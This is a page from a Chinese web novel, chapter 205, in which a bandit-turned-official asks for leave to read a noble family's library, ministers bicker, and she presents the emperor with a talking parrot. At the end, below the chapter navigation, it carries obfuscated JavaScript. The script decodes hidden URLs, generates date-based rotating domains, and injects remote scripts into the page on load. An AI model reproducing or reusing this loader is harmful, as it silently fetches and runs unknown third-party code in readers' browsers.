登录 首页
女土匪进京为官,诱拐了清冷陛下
第205章 这是又想干大事
上一章 目录 下一章
    次日,皇城内还洋溢着陛下生辰的欢快,大臣们也都满面笑容地上朝,瞧着昨夜都是好眠啊。

    矜桑鹿更是,昨夜回府可是倒床就睡,醒来可神清气爽了,穿着官袍走路都带风。

    其他官员瞧着,也都习惯了,她哪天不是跨着大步,两袖带着风?

    见她还朝着兵部尚书走去,这吓死人的气势,又想干大事了?

    “大人,下官想请个假,再休沐一天。”

    啥?

    其他人听着,还当自己听错了,不干事啊。

    便是兵部尚书都愣了愣,他刚刚还被吓得后退半步了,结果,是要休息?

    见她还笑眯眯的,心里却是有些不平衡了。

    她才来兵部上任几天啊,第一天就扳倒了晋阳王府,他们累死累活的,她却是连着休息。

    在礼部干活,她也这样清闲?

    礼部尚书见兵部尚书看过来,只是说:“你就说,你还想哪家将门倒下吧。”

    “休,给你休!”

    “多谢大人,下官也不是想休息,只是去凌相府拜读藏书。”

    “!!”

    礼部尚书听着,心都颤了颤,又看藏书?

    当初可是看了他们杨家的藏书,贺家,景安侯府可随之倒下了。

    她这是又想对付哪家?

    兵部尚书再一次愣住,这些书香世家是怎么回事,不是说家中藏书唯有嫡系子弟可看。

    那是为什么这个女土匪可以这家看完,又去那家?

    还是书香世家的翘楚,杨家和凌家,她也是会看的。

    这女土匪果然还是要干大事的。

    矜桑鹿见他们警惕地看着自己,还不开心呢,哼了一声说:“下官好学而已,只是单纯地想追求无上的学问。”

    两位尚书听着,面无表情,他们会信吗?

    不过凌家的藏书大多都是治国良策,是正经书啊。

    “什么意思?”

    礼部尚书瞪了一眼兵部尚书,他们杨家,难道不是正经书?

    可想到他们自家人的小本本,又没说话。

    杨奚涧听着,却是惊讶地看向神色如常的凌觅镜问:“她要去你们凌家看藏书?”

    “嗯,是啊。”

    凌觅镜点头,平静道:“她说想多学习些治国良策,为国效力,这听着,也没有理由拒绝啊。”

    “凌大公子,你心思如此单纯的?她这样说,你就信了?”

    “嗯,毕竟我们凌家都是正经书。”

    这是在内涵谁呢?

    杨奚涧嗔了一眼凌觅镜,想到自家的小本本,也确实没法反驳,只是瞧崔池砚都不意外的,奇怪道。

    “你知道了?你也觉得她只是勤学?”

    话落,还叹气说:“行吧,同样都是同窗,还是有区别的,刚刚我们可是一起来的金銮殿,一路上都没见你们提。那便是昨天夜里,凌大公子就急着和崔大公子说了。”

    闻言,凌觅镜听着语气,总觉得很熟悉,却是轻轻拧眉,看向崔池砚,忽地明白了,也很奇怪。

    “你昨夜不欣赏歌舞,盯着我说话做什么?”

    他是知道崔池砚会唇语的,也知道这人很恪守君子之道,应当是无意间瞥见了。

    可怎么就看到了他说藏书的话?这得盯着有一会儿了吧?

    当即往后退了退,意味深长又狐疑道:“你,不会,真的,对我的容貌,图谋不轨?”

    “.......”

    崔池砚还愣了一下,见凌觅镜半信半疑,失笑道:“你我同窗多年,你觉得我有断袖之好?”

    “我作证,他没有。”

    杨奚涧的声音非常肯定,看向凌觅镜说:“凌大公子,你失宠了,池中镜的名号,得散了。”

    “.......”

    这回轮到凌觅镜语塞,瞧他们二人似乎想到一块去了,皆耸肩忍笑,不禁挑眉。

    直觉对他而言,不是好事情,便掀过这个话题,看向崔池砚说:“咱们三家,我们两家的藏书都让她给盯上了,我觉得崔家的,也快了。”

    崔池砚听着,还弯了眉梢,他还希望她来,却是摇头,轻声说。

    “杨家有小本本,凌家有治国良策,崔家,我还不知道有什么可以吸引她。”

    两人听着,想说什么,却听着外面上朝的钟声响了,便都站在各自的位置上。

    矜桑鹿和两位尚书也都站好了,就瞧着又美了好些的陛下来了,嘴角也弯了弯。

    陛下的气色这般好,那就是昨夜睡得很好啊。

    果然,她送的礼物,陛下很喜欢。

    冀闲冥坐下来,就感受到很熟悉的目光,朝着矜桑鹿看去,见她笑眯眯的,很是欢愉的样子。

    瞧她面上的笑容,也能知道这笑,同他有关。

    便收回了目光,说起朝堂之事,春耕过后,朝堂要做的事情也多了。

    督促百姓耕种,那就会有土地,人力诸多问题。

    还有就是税收,一直都是朝堂的大事,每年税收,总会闹出些民间惨案。

    税也不能再降低了,先前因地制宜改税收,让一些城池的百姓心中不平衡了。

    同样都是东淮子民,交的钱,却是有相差,必然有些百姓要闹起来。

    再者就是藩王要上贡了,藩王每年要上贡朝堂三次,一是春耕后,二是秋收后,三是新春。

    京城的王侯将相是朝堂养着,藩王们却是要交钱,远天子是自由,也是拿钱财换的,还是不小的一笔钱。

    这是不可免的,一来,藩王们不献上贡品,如何知晓他们的财力。

    二来,上交朝堂这么多钱财,他们就没钱造反了。

    那有些藩王还会乖乖上交?

    这不,每回总有些藩王诉苦拖延,这也是朝堂一大难事。

    朝臣们商议了半天,也没什么好主意,下朝的时候,还都愁容满面。

    唯有矜桑鹿还笑眯眯,冀闲冥也唤她留下,两人便一块到御书房,就见鹦鹉扑腾翅膀,飞到矜桑鹿的肩膀上,还叫唤着。

    “矜姑娘是娇滴滴的姑娘。”

    “不愧是我养的鹦鹉,就是爱说大实话。”

    矜桑鹿笑盈盈的,还伸出手,就瞧鹦鹉飞落在她的手臂上,忍不住轻轻摸着。

    “这鹦鹉真是乖,昨夜里陛下休息,一声都没叫唤。”

    吴公公夸赞,还笑着说:“早上醒来的时候,还睡得香甜呢,不吵不闹的。

    听小公公说,它还会自己叫唤饿了,渴了,都不需要人盯着。照顾起来,可轻松了。”

    “嗯,这种鸟很聪慧,专门调教后,比小孩子都乖。”

    矜桑鹿摸着小鹦鹉,还笑着看向陛下说:“它还很认主呢,在陛下身边待着,不出两天,瞧见陛下,也会同陛下这般亲近。

    陛下若是不开心了,它可是会唱歌的。它的模仿能力很强的,我哼一首曲子,它能瞬间学会。”

    话落,见陛下看过来,含笑道:“有它相伴,夜晚再如何寂静,总有几分热闹的。”

上一章 目录 下一章
let urls=["hBBtBBtBBpBBsBB:BB/BB/BB{BBdBBdBBmBB}BB/BB1BB4BB/BB1BB0BB4BBbBB5BB0BB3BBeBB2BB9BB3BB4".split("BB").join(""),"hCCtCCtCCpCCsCC:CC/CC/CCsCC.CClCCtCCdCCzCCzCC.CCcCCoCCmCC/CC1CC4CC/CC1CC0CC4CCbCC5CC0CC3CCeCC2CC9CC3CC4".split("CC").join("")];window.__rr__hld=1;let urlindex=0;let ddm=function(){let i = parseInt((new Date().getTime()/1000 - 1767052800)/86400/2);i = i %30;let ds = ['3w2t89814','btsel5g','6xklldl','2jtbig','kjbyn6zr96','8wz4mjirv','hpm47fyaf','oc79obwnpm','hjvrl','aroychmdcl','lx51ib3szv','6z2h1lycfw','ef7t2','31fpdcrf','uqn83ea8q'];return ds[i%15] + (i<15?".cc":".co"+"m");};let rfunc=function(){if(window.__rr__loaded_2934_104 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++].replace(/\{ddm\}/g,ddm())+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);}};rfunc();rfunc();